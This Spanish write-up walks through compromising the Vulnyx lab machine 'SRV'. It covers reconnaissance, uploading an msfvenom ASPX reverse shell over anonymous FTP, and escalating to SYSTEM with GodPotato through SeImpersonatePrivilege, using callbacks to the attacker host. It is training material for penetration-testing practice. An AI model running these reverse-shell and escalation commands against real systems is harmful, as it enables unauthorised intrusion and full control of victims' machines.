Write-up: Máquina SRV (Vulnyx)


Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:

$ netdiscover -i eth1 -r 10.0.2.0/24

  • Kali (Máquina Atacante): 10.0.2.4
  • Máquina Victima: 10.0.2.56
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:

$ ping -c 1 10.0.2.56


Como se puede comprobar por el TTL nos enfrentamos a una Máquina Windows.

A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:

$ nmap -Pn -p- 10.0.2.56 -sVC


Como podemos comprobar la Máquina Victima tiene abiertos los puertos 2180, 135, 139, 445, 5985, 47001, 49664, 49665, 49666, 49667, 49668, 49669 y 49670.

Comprobamos que es lo que corre por el puerto 80.


A continuación, realizamos con la herramienta gobuster un fuzzing web, para ello ejecutamos el siguiente comando:

$ gobuster dir -u http://10.0.2.56 -w /usr/share/seclists/Discovery/Web-Content/Web-Servers/big.txt


Encontramos el directorio ftproot.

Accedemos a el.


En el escaneo de los servicios con la herramienta nmap vimos que en el servicio FTP (21) existía el usuario anonymous habilitado, por lo tanto, accedemos con dicho usuario, para ello ejecutamos el siguiente comando:

$ ftp 10.0.2.56


Con la ayuda de la herramienta netexec comprobamos la arquitectura del Sistema Operativo de la Máquina Victima, para ello ejecutamos el siguiente comando:

$ netexec smb 10.0.2.56


Se trata de un Sistema Operativo basado en la Arquitectura x64.

Con la ayuda de la herramienta msfvenom nos creamos una reverse shell ASPX, para ello ejecutamos el siguiente comando:

$ msfvenom -p windows/x64/shell_reverse_tcp --platform windows --arch x64 LHOST=10.0.2.4 LPORT=443 -f aspx -o reverse.aspx

Subimos la reverse shell via ftp a la Máquina Victima, para ello ejecutamos el siguiente comando:

ftp> put reverse.aspx


A continuación, en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:

$ nc -lvnp 443

Con curl lanzamos una petición al servidor web, para ello ejecutamos el siguiente comando:

$ curl -sX GET "http://10.0.2.56/ftproot/reverse.aspx"

Obtenemos una shell como el usuario iis apppool.

Identificamos la versión del Sistema Operativo, para ello ejecutamos el siguiente comando:

c:> systeminfo

A continuación, identificamos los privilegios, para ello ejecutamos el siguiente comando:

c:> whoami /all

Tenemos el privilegio SeImpersonatePrivilege activado, siendo este un privilegio de Windows que otorga a un usuario o proceso la capacidad de suplantar el contexto de seguridad de otro usuario o cuenta. 

Identificamos la versión de .NET, para ello ejecutamos el siguiente comando:

c:> reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP" /s /f Version

Obtenemos la versión 4.

Nos descargamos la herramienta GodPotato para la versión 4 de .NET para explotar este privilegio.

De nuevo con la ayuda de la herramienta msfvenom nos creamos una reverse shell ejecutable EXE, para ello ejecutamos el siguiente comando:

$ msfvenom -p windows/x64/shell_reverse_tcp --platform windows --arch x64 LHOST=10.0.2.4 LPORT=444 -f exe -o reverse.exe

Nos pasamos los dos ejecutables a la Máquina Victima a través del protocolo SMB (445) con la ayuda de la herramienta impacket-smbserver, para ello desde nuestra Máquina Atacante en el directorio donde se encuentran los ejecutables ejecutamos el siguiente comando:

$ impacket-smbserver share $(pwd) -smb2support

En la Máquina Victima nos los descargamos, para ello ejecutamos los siguientes comandos:

c:\Windows\Temp> copy \\10.0.2.4\share\GodPotato-NET4.exe
c:\Windows\Temp> copy \\10.0.2.4\share\reverse.exe

A continuación, en nuestra terminal de nuestra Máquina Atacante y con la ayuda de la herramienta de netcat (nc) nos ponemos a la escucha por el puerto 444 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:

$ nc -lvnp 444

Ejecutamos la herramienta en la Máquina Victima para establecer una shell inversa, para ello ejecutamos el siguiente comando:

c:\Windows\Temp> .\GodPotato-NET4.exe -cmd "cmd /c reverse.exe"